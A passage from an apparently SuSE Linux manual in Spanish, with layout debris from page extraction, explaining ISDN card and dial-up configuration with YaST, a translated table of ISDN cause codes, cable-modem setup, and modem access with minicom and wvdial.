con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________* *_______________________________________@ 3. SuSE Linux instalado en su computadora 4. el kernel estándar del CD SuSE Linux instalado ________________________________________________________________________________________________________* *________ | ¡No hace falta que genere ningún kernel propio, sin embargo, si lo quiere * * ||| | * * ||| | hacer, utilice para ello las fuentes del paquete lx_suse, serie d! * * ||| |_______________________________________________________________________________________________________* *________|||_ 5. el paquete kernmod, serie a 6. el paquete i4l, serie n 7. para documentación adicional es aconsejable que instale también el pa- quete i4ldoc, serie doc Los datos que necesita para la instalación: o Tipo de tarjeta RDSI o Configuración de la tarjeta: IRQ, Dirección de puerto, etc. (según el tipo) o El protocolo de RDSI, que puede utilizar: ~ 1TR6 : RDSI nacional (antiguo) ~ DSS1 : Euro-RDSI ________________________________________________________________________________________________________* *________|| | Las centralitas grandes antiguas usan con frecuencia 1TR6 sobre S0 inter- * * |||| | no. * * ||| |_______________________________________________________________________________________________________* *________|||_ ¿Que significa el MSN/EAZ? En caso del Euro-RDSI, el número MSN (ingl. Multiple-Subscribe-Number) es el número de teléfono sin el prefijo. Pidiendo una línea privada nueva, gen- eralmente le asignan tres números independientes. Puede elegir cualquiera de estos números para la conexión RDSI de datos, también aquella que ya se es- tá usando para una conexión telefónica. Esto funciona porque mediante el reconocimiento del servicio RDSI se puede detectar el tipo de conexión. La tarjeta RDSI está típicamente conectada a un NTBA, pero también tiene sentido poner a disposición un bus adicional tipo S0 a través de una centralita. Usando Euro-RDSI con una centralita, el MSN es (generalmente) solo la extensión de la centralita o el número 0 . 1TR6 usa en lugar del número MSN un EAZ (en alemán: ''Endgeräte- Auswahl-Ziffer'' = número de selección del aparato final) El EAZ es un número cualquiera, elegible entre 1 y 9 . ¡En caso de 1TR6 no use nunca el 0 ! 6.2.4 Configuración del hardware RDSI con YaST No hace falta reiniciar la computadora para cargar el driver de la tarjeta RDSI, ya que éste se proporciona por un módulo de kernel. El driver HiSax soporta todas las tarjetas RDSI estándar. Hay un par de tarjetas, como p. ej. la de ICN o la de AVM-B1 tal como las que son PnP (ingl. Plug and Play), que necesitan un tratamiento especial y (aún) no pueden ser configuradas con YaST . Para configurarlas consulte la sección correspondiente más abajo. Proceda paso por paso: 176 ______________________________________________________6.2.__Acceso_a_Internet_vía_RDSI_~_la_configuración____________________* *_____________________ 1. Entre al sistema como usuario `root' 2. Inicie YaST 3. Seleccione el menú `Administración del sistema', `Instalar hardware en el sistema', `Configurar hardware RDSI'. Esta estructura de menú se ve en figura 6.1. Figura 6.1: Estructura de menú para la configuración RDSI con YaST 4. Introduzca los siguientes parámetros al formulario: o Iniciar I4L La RDSI solo se activa si este campo está marcado con un asterisco. Así puede habilitar y deshabilitar la posibilidad de establecer conex- iones vía RDSI. o Protocolo RDSI Seleccione entre el anticuado tipo RDSI 1TR6 (de uso en Alemania) o el nuevo EDSS1, usual hoy en día. Tenga en cuenta que se sigue usan- do muchas veces 1TR6 cuando se conecta a través de una centralita. o Tipo de tarjeta RDSI Seleccione la tarjeta soportada por el driver HiSax. En caso de tarje- tas PnP o PCMCIA, consulte el fichero /usr/doc/packages/i4l/ README.SuSE tal como el apartado 10.2.1 en la página 288¿Cómo ac- tivar tarjetas PnP con isapnp ?subsection.10.2.1. _______________________________________________________________________________________________________________________ |||||||| Téngase en cuenta que no es permitido indicar una dirección I/O (entrada || | |||||||| || | |||||||| y salida) o una interrupción para tarjetas con bus PCI. || | ||||||||_______________________________________________________________________________________________________________||_ o Identificación de tarjeta Dejarlo en el valor HiSax . o Interrupción Dirección de memoria base Puerto IO Valor IO0 Valor IO1 * * 177 6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________* *_______________________________________@ Según el tipo de tarjeta seleccionada, se pueden necesitar indicaciones adicionales y solo se pueden tomar aquellas que corresponden a la tarjeta escogida, las demás aparecen en gris y se ignoran. o Opciones del módulo RDSI Dejar este campo vacío. Pulse |____|F1se consigue información adicional. La pantalla de configu- ración de RDSI se ve en Figura 6.2. Figura 6.2: Cuadro de diálogo para la configuración RDSI con YaST 5. Seleccione `Iniciar'. ¿Por qué?: El módulo se carga en modo de prueba y la ventana indica si la tarjeta fue reconocida correctamente. Si está BIEN: Seleccione el botón `Guardar'. La configuración se guarda en los ficheros /etc/rc.config.d/i4l_ *, así que puede activarla nuevamente después del próximo arranque o cambio de nivel de ejecución. Después de esta prueba el módulo se mantiene cargado. Si esta MAL: Pruebe otros parámetros y vigile los cambios en el fichero /var/log/messages. Los problemas típicos son: o Algunas placas madre no permiten usar las interrupciones IRQ 12 o 15. o Las direcciones de memoria o las interrupciones ya están ocupadas por otras tarjetas. Quite todas las tarjetas que no necesite por el momento (p. ej. tarjetas de sonido o de red). o El módulo ya está cargado. Cambie a otra consola e introduzca el siguiente comando para descargar el módulo: tierra: # rmmod hisax o Su tarjeta es del tipo PnP; en este caso consulte el fichero /usr/ doc/packages/i4l/README.SuSE 178 ______________________________________________________6.2.__Acceso_a_Internet_vía_RDSI_~_la_configuración____________________* *_____________________ o El driver HiSax no soporta su tarjeta, que puede ser p. ej. del tipo ICN o AVM-B1. En tal caso consulte el fichero /usr/doc/ packages/i4l/README.SuSE. 6. Salga de YaST . 7. Configuración de isdnlog Antes de cargar los módulos es recomendable configurar isdnlog , que se encarga de protocolar todas las actividades en el S0-bus. Adapte los siguientes ficheros a sus necesidades: o /etc/isdn/isdn.conf: El primer párrafo especifica el país donde se va a usar isdn4linux. Para España se definen los valores como se ha expuesto en el fichero 6.2.1 (numeración antigua con prefijos). _______________________________________________________________________________________________________________________|| |||||||| # /etc/isdn/isdn.conf | |||||||| | |||||||| | |||||||| | |||||||| [GLOBAL] | |||||||| | |||||||| COUNTRYPREFIX = + | |||||||| COUNTRYCODE = 34 | |||||||| AREAPREFIX = 9 | ||||||||_______________________________________________________________________________________________________________ | Fichero 6.2.1: Extracto de /etc/isdn/isdn.conf El párrafo GLOBAL contiene también el AREACODE (prefijo) sin el número 9 por delante. Si su prefijo es p. ej. 93 , coloque AREACODE = 3. Esta es la única parte que se debe adaptar (en España). Con CHARGEMAX = 20.00 se puede determinar el gasto telefónico máximo en un día, en marcos alemanes. Esto protege de conexiones no deseadas, pero mejor no fiarse de esta característica automática! o /etc/isdn/callerid.conf: Aquí puede apuntar todos los números de teléfono conocidos. El fichero /var/log/messages y el comando isdnrep le indican en- tonces los nombres en lugar de los números de teléfono. Déjese guiar por el ejemplo en el fichero 6.2.2 en la página siguiente; su número es 4711 y la de su proveedor 4712 . o /etc/isdn/isdnlog.isdnctrl0.options: Este fichero contiene las opciones para el comando isdnlog . Gen- eralmente no se necesitan. 8. Para reiniciar los servicios de red (entre otros), se introducen los coman- dos tierra: # init 1 tierra: # init 2 o se activa nuevamente RDSI con YaST (también se puede reiniciar la computadora). * * 179 6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________|||| | # /etc/isdn/callerid.conf * * | || * * || | [MSN] * * | | NUMBER = 4711 * * | | * * | | SI = 1 * * | | ALIAS = yo * * | | * * | | ZONE = 1 * * | | * * | | * * | | [MSN] * * | | NUMBER = 4712 * * | | * * | | SI = 1 * * | | ALIAS = proveedor * * | | ZONE = 1 * * | |_______________________________________________________________________________________________________* *________ | Fichero 6.2.2: /etc/isdn/callerid.conf 6.2.5 Configuración de acceso a Internet vía RDSI Configuración RDSI para el acceso al proveedor La selección del protocolo Para el acceso vía RDSI existen tres protocolos importantes: o syncPPP o rawip-HDLC o Login de terminal con X.75 Normalmente los proveedores de Internet ofrecen syncPPP como protocolo, así que lo mejor es configurar con éste mismo. Requisitos o La configuración del hardware RDSI debe funcionar. o El driver de RDSI debe estar cargado. o Conocer el número MSN o EAZ que usa su línea. o Conocer el protocolo que usa su proveedor (rawip o syncPPP ). o Conocer el número de teléfono para realizar el acceso. o Conocer el nombre de usuario y la contraseña de acceso. o Conocer el servidor de nombres (DNS) del proveedor. Si realmente se conocen todos los detalles mencionados arriba, se podrá con- figurar el acceso a Internet exitosamente. La configuración del hardware RDSI ha funcionado y el driver de RDSI está cargado. Aparte de esto se debe conocer el número MSN o EAZ que usa la línea. El ejemplo expuesto cubre solo el acceso con syncPPP . rawip es práctica- mente lo mismo e incluso más sencillo. Seguiremos paso a paso: 180 ______________________________________________________6.2.__Acceso_a_Internet_vía_RDSI_~_la_configuración____________________* *_____________________ Figura 6.3: Configuración de red con YaST 1. Inicie YaST y entre al menú `Administración del sistema', `Con- figuración de red', `Configuración básica de red'. Apare- cerá el formulario que se ve en la figura 6.3. 2. Seleccione una línea libre, p. ej. número 1 . 3. Pulsando |F___|_5seleccione como dispositivo `ISDN SyncPPP'. 4. Pulse |F___|_6(`IP') e introduzca: o Dirección IP de la máquina (tarjeta RDSI): 192.168.0.99 o Solo marque la casilla `Dirección IP dinámica', si el proveedor la asigna ''dinámicamente'' en cada conexión. o Dirección IP del Default-Gateway: 192.168.0.1 (pasarela por defec- to) o IP de la contraparte punto a punto: 192.168.0.1 5. Seleccione `Continuar' para salir de la pantalla. 6. Active la red con |F___|_4, si no lo ha hecho ya. 7. Pulse | ____|F8(`ISDN' = RDSI) le permite indicar parámetros adicionales, específicos de RDSI. La pantalla correspondiente se ve en la figura 6.4 en la página siguiente. Indique los siguientes valores: o Su número de teléfono (MSN) p. ej. 123456 o Número a marcar: 012345678 Es el número que debe marcar la computadora. 012345678 es el número del proveedor de Internet _______________________________________________________________________________________________________________________|| |||||||| Si utiliza una centralita es posible que tenga que marcar primero el 0. ||| | |||||||| Además hay que considerar que los número separados por un espacio se || | |||||||| || | |||||||| tratan como dos números de teléfono diferentes. || | ||||||||_______________________________________________________________________________________________________________||_ * * 181 6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________* *_______________________________________@ Figura 6.4: Configuración de los parámetros de red RDSI con YaST o Números a los que se permite llamar: Los números de teléfono autorizados a llamar. Solo se necesita para servidores ''Dialin''. o Solo se permiten números indicados: Afirme esta opción para que nadie pueda establecer una conexión no autorizada a su servidor. o Modo de llamada: Activando la opción auto se establece automáti- camente una conexión cuando se trata de acceder a direcciones que solo pueden ser alcanzados a través de la interfaz RDSI. Con la opción manual hay que establecer las conexiones a mano cuando sea preciso. Con off se desactiva la posibilidad de conectar mediante esta interfaz RDSI. o Tiempo muerto: El tiempo de inactividad de la línea (no se transmiten paquetes IP) que la computadora espera hasta que cuelga automáticamente. o Nombre del login PPP: Introduzca el nombre de usuario para su proveedor. o Password del login PPP: Introduzca la contraseña para su proveedor. Cuando se escribe la con- traseña, ésta se muestra en pantalla con asteriscos y se guarda en el fichero /etc/ppp/pap-secrets. Puede obtener más ayuda pulsando |F___|_1. 8. Seleccione el botón `Iniciar'. La red se configura a modo de prueba y se puede observar en la ventana si funciona. Generalmente en este paso no se presentan problemas. Si está BIEN: Seleccione el botón `Guardar'. La configuración se guarda en los ficheros /etc/rc.config.d/i4l_ * así que se puede activar nuevamente después del próximo arranque o 182 ______________________________________________________6.2.__Acceso_a_Internet_vía_RDSI_~_la_configuración____________________* *_____________________ cambio de nivel de ejecución. Después de esta prueba la configuración se mantiene. Si esta MAL: Probablemente los módulos RDSI no están carga- dos. También se deben tener en cuenta los mensajes del fichero /var/log/messages. 9. En YaST entre al menú `Configuración DNS' y afirme la primera pre- gunta. Introduzca después el número IP del servidor de nombres (DNS) de su proveedor. Si no conoce este número tendrá que consultar al provee- dor. Otra posibilidad sería pedir a alguién, que ya tenga una máquina Lin- ux conectada a Internet, que le informe sobre el resultado del siguiente comando, introducido en una ventana de terminal (el ejemplo es de un proveedor alemán): whois t-online.de Con esto se obtiene una respuesta que contiene, entre otras, las líneas que figuran en la salida en pantalla 6.2.1. _______________________________________________________________________________________________________________________|| |||||||| domain: t-online.de | |||||||| | |||||||| descr: Deutsche Telekom AG, Telekom Online-Dienste | |||||||| descr: Generaldirektion, GK361 | |||||||| descr: Postfach 2000 | |||||||| | |||||||| descr: D-53105 Bonn | |||||||| descr: Germany | |||||||| | |||||||| admin-c: KHS252-RIPE | |||||||| tech-c: JS691-RIPE | |||||||| | |||||||| zone-c: FS340-RIPE | |||||||| nserver: dns00.btx.dtag.de | ||||||||_______________________________________________________________________________________________________________ | Mensaje en pantalla 6.2.1: Resultado de: whois t-online.de La línea nserver: indica el servidor de nombres del proveedor. Si se conoce este nombre, solo haría falta el número IP del mismo; para obten- erlo use el comando: host dns00.btx.dtag.de Aparece entonces una respuesta como la de la salida en pantalla 6.2.2. _______________________________________________________________________________________________________________________ |||||||| dns00.btx.dtag.de has address 194.25.2.129 | |||||||| | ||||||||_______________________________________________________________________________________________________________ | Mensaje en pantalla 6.2.2: Salida en pantalla de host En ésta (194.25.2.129 ) es el número IP del servidor de nombres de T-Online. Si no puede establecer la conexión: o Repase /var/log/messages en busca de mensajes ''sospechosos''; Los mensajes de estado del sistema RDSI (p. ej. E001f ) se explican en el apartado 6.2.6 en la página siguiente. o Pruebe la conección vía rawip . o ¿Tiene el número MSN/EAZ correcto? * * 183 6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________* *_______________________________________@ o ¿Será que se debe marcar un 0 por delante? El banco de datos de soporte tiene más consejos; se encuentra en Internet, en nuestro servidor web, bajo la URL http://sdb.suse.de/sdb/de/ html/ . También puede acceder a él con la ayuda de SuSE (se inicia con el comando susehelp o con la opción correspondiente del menú en el sistema X Window) directamente en su computadora, si el paquete susehilf, serie doc y el paquete sdb_en, serie doc están instalados. 10. Si la conexión funciona (lo que esperamos), cambie otra vez a la consola en la que se está ejecutando YaST , pulse el botón `Guardar' y finalice YaST . IP dinámico con syncPPP Si las direcciones IP se asignan dinámicamente, las direcciones indicadas para el área privada solo sirven de relleno hasta el momento en que se establece la conexión. Información adicional Para obtener más información sobre la configuración de una conexión RDSI y sobre la configuración del sub-sistema RDSI, consulte las siguientes fuentes: o El fichero /usr/doc/packages/i4l/README.SuSE o El banco de datos del soporte: http://sdb.suse.de/sdb/de/html/ o En el paquete i4ldoc (p. ej. el FAQ de RDSI en el fichero: /usr/doc/ packages/i4ldoc/i4l-faq) o /usr/doc/inetcfg (paquete inetcfg) 6.2.6 Mensaje RDSI Desafortunadamente los mensajes del tipo ''Cause'' (causa) que da el sub- sistema RDSI son en inglés y no siempre muy claros, por lo tanto aquí le ofrecemos la traducción al castellano. Un mensaje de causa (error) típico de HiSaX se compone de 2 partes, location y cause code . En caso del Euro-RDSI, son 5 cifras del tipo Exxyy , donde xx especifica el origen del mensaje de error (aquí no se ex- plica), e yy que indica la causa del mensaje. HiSaX siempre indica un valor hexadecimal. Hay determinados mensajes que no representan ningún error, sino que forman parte del comportamiento normal de las conexiones telefónicas (''ocupado'', ''conexión terminada por colgar''). 184 ______________________________________________________6.2.__Acceso_a_Internet_vía_RDSI_~_la_configuración___________________* *______________________ A continuación vienen las explicaciones de las distintas causas que pro- ducen un mensaje (''Causes''); con la autorización de: Institut für Elektro- nische Systeme und Vermittlungstechnik der Universität Dortmund: http: //www-esv.e-technik.uni-dortmund.de. Tenga en cuenta que HiSaX indica los valores en hexadecimal. ______________________________________________________________________________________________________________________ Cause# dec/hex Descripción Grupo 0/1: Causas normales #1 01 El número marcado es completo y puede ser interpre- tado por la red, pero actualmente no se puede asignar ningún abonado. #2 02 El dispositivo que genera el error no reconoce la red de tránsito. Esto puede ocurrir porque la red de trán- sito deseada no existe o porque no acepta el servicio solicitado. #3 03 No se encontró ninguna ruta hacia el abonado ya que éste probablemente no esta dado de alta en la red elegida sino en otra. #6 06 El abonado llamado no puede utilizar el canal solici- tado. #7 07 El abonado llamado rechazó la llamada, ya que el canal solicitado estaba ocupado (canal virtual, X.31 o X.25). #16 10 Uno de los abondados que paticipan en la llamada ha colgado. #17 11 El abonado llamado está comunicando y no puede responder a una llamada adicional. #18 12 La llamada entró, pero la solicitud de establecimiento de llamada SETUP no se concedió dentro del tiempo previsto. #19 13 Aunque el aparato del abonado recibe la llamada, el abonado no la contesta; p. ej. el teléfono suena en una casa vacía. #21 15 El abonado llamado rechazó explícitamente la llama- da. #22 16 La central telefónica del destino puede enviar este mensaje cuando el número del abonado ha cambiado. #26 1A No fue posible indicar la llamada al abonado . #27 1B La interfaz del abonado llamado está fuera se servi- cio. #28 1C El número marcado no es válido o no puede ser in- terpretado por la red. #29 1D La red no puede prestar cierto servicio que se ha so- licitado junto con la llamada. ______________________________________________________________________________________________________________________ Tabla 6.1: Continúa en la página siguiente ... * * 185 6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________* *_______________________________________@ _______________________________________________________________________________________________________* *_________ #30 1E Indica que el mensaje STATUS fue enviado en re- spuesta a una solicitud de estado, STATUS EN- QUIRY. #31 1F Si no hay ninguna causa del grupo Normal que se pueda aplicar, se indica ésta misma. Grupo 2: Recursos no disponibles #34 22 Todos los canales B (canales de voz) o todos los canales virtuales (X.25) de la central telefónica están ocupados. #38 26 La red de comunicación está fuera de servicio y lo seguirá estando por algún tiempo más. #41 29 La central de conmutación sufre un error temporal, por lo tanto tiene sentido repetir el intento de es- tablecimiento de llamada. #42 2A La central telefónica que envía esta causa, actual- mente no tiene ningún canal disponible, por sobre- carga. #43 2B La información de acceso enviada por el solicitante de la llamada (p. ej. contraseña en el elemento UTU, datos LLC o HLC) no se pudo pasar al abonado lla- mado. #44 2C La interfaz del abonado llamado no puede ofrecer el canal solicitado. #47 2F Si hay algún recurso no disponible, que no se puede explicar con alguna causa del grupo Recursos no disponibles , se envía esta razón como causa. Grupo 3: Servicio u opción no disponible #49 31 No es posible cumplir la característica de calidad (tasa de transferencia o dilación) según X.213. #50 32 El usuario no tiene permiso para acceder al servicio solicitado, ya que no esta dado de alta como usuario. #57 39 El usuario no tiene permiso para usar el servicio so- licitado en la instalación de origen. #58 3A El servicio solicitado no está disponible actualmente. #59 3B Se indica un servicio o una opción no disponible que no está cubierta por las razones anteriormente men- cionadas. Grupo 4: Servicio u opción no implementada _______________________________________________________________________________________________________* *_________ Tabla 6.1: Continúa en la página siguiente ... 186 ______________________________________________________6.2.__Acceso_a_Internet_vía_RDSI_~_la_configuración________________________* *_________________ ______________________________________________________________________________________________________________________ #65 41 El dispositivo emisor no es capaz de proporcionar la propiedad bearer capabiltiy solicitada. #66 42 El tipo de canal solicitado no está disponible. #69 45 La propiedad del servicio solicitado no está imple- mentada. #70 46 El usuario solicitó la transferencia ilimitada de in- formación digital, sin embargo solo se permite una transferencia limitada. #79 4F Un servicio o una opción, que no está entre las causas anteriores, no está implementada. Grupo 5: Mensaje no válido, parámetro inadmis- ible #81 51 Se recibió una llamada con un valor de referencia de llamada (ingl. Call Reference Value) actualmente no válido en la red. #82 52 El canal solicitado no existe en la interfaz que origina esta causa. Esto ocurre p. ej. con CHI = 26 sobre una interfaz PCM 24. #83 53 Se intentó sacar una llamada en estado de espera con una ID de llamada no válida. #84 54 Se intentó utilizar una ID de llamada que ya está en uso dentro del ámbito del equipo que controla el es- tado de las llamadas. #85 55 Se intentó reanudar una llamada, aunque no hubo ninguna llamada en espera. #86 56 La llamada con la ID solicitada ya se reaunudó. #88 58 La interfaz del abonado llamado no es capaz de cumplir con los atributos solicitados, como p. ej. LLC o HLC. #91 5B Se solicitó una red de traspaso de un modo incom- patible. #95 5F Si no existe ninguna causa de las mencionadas en este grupo, se envía este mensaje. Grup 6: Fallos de protocolo #96 60 Falta un elemento informativo imprescindible. #97 61 El dispositivo que envía este error, recibió un tipo de llamada desconocido o no implementado. #98 62 Se recibió un mensaje no permitido respecto al esta- do de la llamada o un mensaje tipo STATUS en estado no válido. ______________________________________________________________________________________________________________________ Tabla 6.1: Continúa en la página siguiente ... 187 6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________* *_______________________________________@ _______________________________________________________________________________________________________* *_________ #99 63 Se recibió un elemento informativo desconocido o no implementado. Es posible suprimir este elemento en el próximo intento para conseguir la función deseada. #100 64 El contenido de un elemento informativo no es válido y no puede ser usado por el dispositivo que envía la causa. #101 65 Se recibió un mensaje no válido respecto al estado actual de la llamada. #102 66 Se inició un procedimiento para restablecer una conexión estable, como reacción a la expiración de un temporizador. #111 6F Ocurrió un error no especificado en este grupo. _______________________________________________________________________________________________________* *_________ Tabla 6.1: RDSI-Causes en castellano 6.3 Modem cable El acceso a Internet por medio del cable de televisión tiene una difusión amplia en algunos países europeos tal como en los Estados Unidos o en Canadá. En este sección del libro le damos como ejemplo unas instrucciones detalladas para acceder a Internet mediante el servicio austriaco ''Telekabel''. Las instrucciones son en principio equivalentes para otros proveedores de cable en otros países. 6.3.1 Principios El cliente de ''Telekabel'' recibe del proveedor un ''modem'' que por una parte se conecta al cable de televisión y por otra parte se conecta mediante un cable de par trenzado (10Base-T) a una tarjeta red en la computadora. Este modem ofrece entonces una línea dedicada con acceso continuo y generalmente con una dirección IP fija. Procedimiento de instalación 1. Si la tarjeta red ya estuviera configurada, proceda con el punto 8. 2. Como usuario `root' inicie_el programa_YaST ~ si el entorno KDE está activo, debe apretar |A____l|t+ |F___|2y seguidamente introducir xterm . Dentro de la nueva ventana puede cambiar a modo superusuario e iniciar YaST . 3. Seleccione `Administración del sistema', `Instalar hardware en el sistema', `Configurar dispositivo de red'. 4. Bajo `Tipo de red' indique eth0 . 5. Bajo `Tipo de dispositivo de red' seleccione la tarjeta red de la computadora. 6. Bajo `Opciones del driver' indique parámetros como el puerto de entrada/salida (IO-Port), etc.; respecto a los parámetros de kernel consulte el capítulo 14 en la página 357Parámetros del kernelchapter.14. Si la tar- jeta el del tipo PCI normalmente no hace falta indicar ningún parámetro. 188 ____________________________________________________________________________6.4.__T-DSL,_T-ISDN-DSL,_ADSL._._._____________* *_______________________ 7. Seleccione `Continuar'_y vuelva al menú principal de YaST apretando dos veces |E____s|c. 8. Ahora entre en `Administración del sistema', `Configuración de red', `Configuración básica de red'. 9. Ahora se encuentra en el formulario `Selección de red'. 10. Pulse |F___|_5para configurar el dispositivo como Ethernet , si éste aún no se encuentra p. ej. como eth0 en la columna `Nombre dispositivo'. 11. Pulse |F___|_3y seleccione `DHCP'. 12. Ahora pulse |F___|_4, para activar el dispositivo. 13. Con |F_____|10la nueva configuración se guarda. 14. Salga de YaST pulsando varias veces |E_____|sc. 15. Para activar el acceso a la red introduzca rcdhclient start La función del mismo se puede comprobar p. ej. con ping www.suse.de . Estas instrucciones se refieren a las versiones de SuSE Linux a partir de la versión 6.4. En caso de usar aún la versión 6.3, se requiere un paso adicional: Use YaST para poner la variable rc.config a yes (detalles en el aparta- do 3.7.12 en la página 116Cambiar fichero de configuraciónsubsection.3.7.12). De esta forma el acceso a la red se activa con cada inicio de sistema sin necesidad de introducir ningún comando. Una alternativa es la de introducir una configuración fija de red (ver aparta- do 5.1 en la página 156Configuración con YaST section.5.1), para el caso de tener dirección IP fija, la máscara de red y la pasarela. Averigüe esto con su proveedor. Una ventaja de la configuración fija es que el proceso de ar- ranque continúa sin ningún problema aunque el acceso esté fuera de servicio. Además, en el momento que el servicio se restablece, la conexión a Internet se realiza de inmediato. 6.4 T-DSL, T-ISDN-DSL, ADSL. . . Linux ya ofrece soluciones para acceder a Internet vía ADSL, T-ISDN-DSL, etc., pero éstas se encuentran aún en fase de desarrollo. Por tal motivo no damos soporte sobre estos temas. (T-DSL y T-ISDN-DSL son los nombres utilizados por la empresa alemana Telekom para sus servicios de conexión a base de ADSL.) Sin embargo nuestro banco de datos de soporte contiene un artículo sobre el tema, que reune información sobre los últimos desarrollos. Este artículo se encuentra en http://sdb.suse.de/sdb/de/html/hoe_adsl_pppoe. html. 6.5 Conexión de modem La conexión de un modem a la computadora se efectúa igual que en otros sistemas operativos, ya sea mediante un cable de puerto serie o bien in- troduciéndolo en una ranura libre dentro de la computadora (modem inter- no). El número o nombre de puerto al cual está conectado el modem se in- dica en YaST (ver apartado 3.7.1 en la página 102Instalar hardware en el sistemasubsection.3.7.1 y apartado 17.6 en la página 438Inicializar hardware * * 189 6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________* *_______________________________________@ local (Teclado, modem, mouse, PCMCIA etc.)Hfootnote.76). YaST genera un enlace de /dev/modem al puerto de conexión, de tal modo que se pueda acceder siempre a él a través de /dev/modem ~ si el enlace está bien hecho ~ independientemente del puerto de conexión real (p. ej. /dev/ttyS0). ________________________________________________________________________________________________________* *________|| | Actualmente se venden también modems llamados ''WinModem'' que * * |||| | * * ||| | no funcionan bajo Linux (ver también http://sdb.suse.de/sdb/de/ * * ||| | html/cep_winmodem.html y http://www.linmodems.org/). Acerca * * ||| | * * ||| | de modems en general puede consultar el Modem-HOWTO.gz. * * ||| |_______________________________________________________________________________________________________* *________|||_ Los programas de terminal ''normales'' que se pueden usar son p. ej. minicom o, bajo el sistema X Window, seyon . Por otra parte también se pueden hacer las primeras pruebas directamente con wvdial (apartado 6.6). Minicom Minicom es un programa de emulación de terminal de uso sencillo, que se maneja de forma parecida al programa DOS Telix . Todos los usuarios que quieran usar minicom deben estar anotados en el fichero /etc/minicom.users. Allí se define cuáles usuarios tienen derecho de acceso a cuál modem y con cuál configuración. La configuración de Minicom se efectúa iniciándolo como `root' con: tierra:/ # minicom -s Los ajustes necesarios para su uso no se diferencian de otros sistemas opera- tivos y son auto-explicativos. ________________________________________________________________________________________________________* *________ | La combinación de teclas |C______|trl-|L_ |no funciona en un xterm o en rxvt , sin * * ||| | ______ _ * * ||| | embargo, funciona en kvt o en una consola de texto. * * ||| |_______________________________________________________________________________________________________* *________|||_ 6.6 Con el modem a Internet: PPP con wvdial El programa wvdial es una herramienta potente para establecer conex- iones analógicas a un proveedor de Internet (+ ISP (ingl. Internet Service Provider)). Los ISPs pueden usar ajustes diferentes en el protocolo PPP, lo que dificulta a veces encontrar las opciones correctas. El programa wvdial es capaz de encontrar estas opciones basándose en algoritmos inteligentes. Anteriormente, cuando se estaba configurando el acceso a Internet, siempre era necesario indicar el servidor de nombres del ISP. Usando wvdial esto ya no es necesario, ya que este programa reconoce automáticamente el servidor de nombres del ISP, si éste transmite la información necesaria. 6.6.1 Configuración de wvdial Es posible configurar cómodamente wvdial desde YaST ; el menú para ello se encuentra bajo `Administración del sistema', `Configuración de red', `Configurar una red PPP' y se puede ver en la figura 6.5 en la página siguiente. Proceda de la siguiente manera: 190 ___________________________________________________________6.6.__Con_el_modem_a_Internet:_PPP_con_wvdial______________________* *____________________ Figura 6.5: wvdial: Configuración de los parámetros o Cerciórese de que YaST ya ha configurado correctamente el modem; esto ya fue hecho durante la primera instalación o en caso contrario se puede efectuar ahora (ver el apartado 3.7.1 en la página 102Instalar hardware en el sistemasubsection.3.7.1). o Primero puede entrar a `Change the language of the SuSE wvdi- al User Interface' para cambiar el idioma a su gusto o Seleccione la opción `Configurar el perfil actual'. o Introduzca el número de teléfono, el nombre de usuario que le ha dado el proveedor y la contraseña (figura 6.6). Figura 6.6: wvdial: Configuración de proveedor Si la conexión se establece a través de una centralita, introduzca por detras del indicativo para conectar a la red pública (p. ej. 0 ) una coma o una w , o sea 0, o 0w . * * 191 6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________|| | Si está trabajando bajo el sistema_ X Window_ y tiene_ problemas de in- * * |||| || troducir datos porque las flechas (|____|y | ___|!) o | ____7|n!o funcionan, salga * * |||| | primero de YaST y cambie a una consola de texto usando |C______|_trl+ |A_____|lt+ * * |||| | | ___| | ___| * * ||| | F___2- F___6. Entre como superusuario para iniciar YaST nuevamente desde la * * ||| | consola de texto. * * ||| |_______________________________________________________________________________________________________* *________|||_ o Seleccione la configuración automática del servidor de nombres. Si esto no funciona, se debe configurar con YaST de la forma habitual. (ver el apartado 3.7.3 en la página 108Configuración de redsubsection.3.7.3). o Seleccione el `Método de marcar' , normalmente es por tonos. o Si el modem esta conectado a una centralita marque la opción `Modem en PBX' para que el programa no espere el tono de marcación. o `PAP/CHAP' debería funcionar siempre como modo de autentificación. o Salga del sub-menú. o Después de la configuración de proveedor se pasa al reconocimiento del modem. Simplemente seleccione la opción `Auto-detección de mo- dem'. o Si este reconocimiento funciona, seleccione `Iniciar wvdial'. En- tonces aparecerá una ventana con varios mensajes. o Cuando aparezca el mensaje que indica que el proceso PPP se ha iniciado, ya puede usar Internet. o Compruebe la existencia de una__conexión.___Para ello abra una ventana de terminal adicional (en KDE : |A____l|t+ |F___2|y después teclear xterm ) e introduzca en esta ventana: tierra: # su y después la contraseña de `root'. Ahora introduzca: tierra: # tail -f /var/log/messages Así se pueden ver los mensaje del sistema en el momento de su aparición. Si es posible ver líneas con "Local IP:" y "Remote IP:" ~ cada una seguida de un número IP ~ puede estar seguro de haber establecido la conexión a Internet. o Termine el acceso a Internet con |C______|_trl+ |c__|. o Si todo ha funcionado, es posible iniciar la conexión a Internet desde la línea de comandos lanzando sencillamente wvdial y finalizándolo con |_______|Ctrl+ |c__|. o Para modificar posteriormente la configuración sin YaST , es posible uti- lizar wvdial.lxdial o ~ con superficie gráfica ~ wvdial.tcl ; esto solo se puede realizar como `root'. En el directorio /usr/doc/packages/wvdial hay documentación sobre wvdial . wvdial como usuario y la seguridad Para hacer esto también como usuario normal (no como superusuario `root'), es necesario anotar a este usuario ''normal'' en los grupos `uucp' 192 ___________________________________________________________6.6.__Con_el_modem_a_Internet:_PPP_con_wvdial____________________* *______________________ y `dialout'. Para ello se puede usar YaST (ver apartado 3.7.8 en la página 114Administración de grupossubsection.3.7.8). Para que otros usuarios, aparte del superusuario `root', puedan establecer conexiones PPP con wvdial , es preciso hacer al usuario en cuestión miembro de los grupos `uucp' y 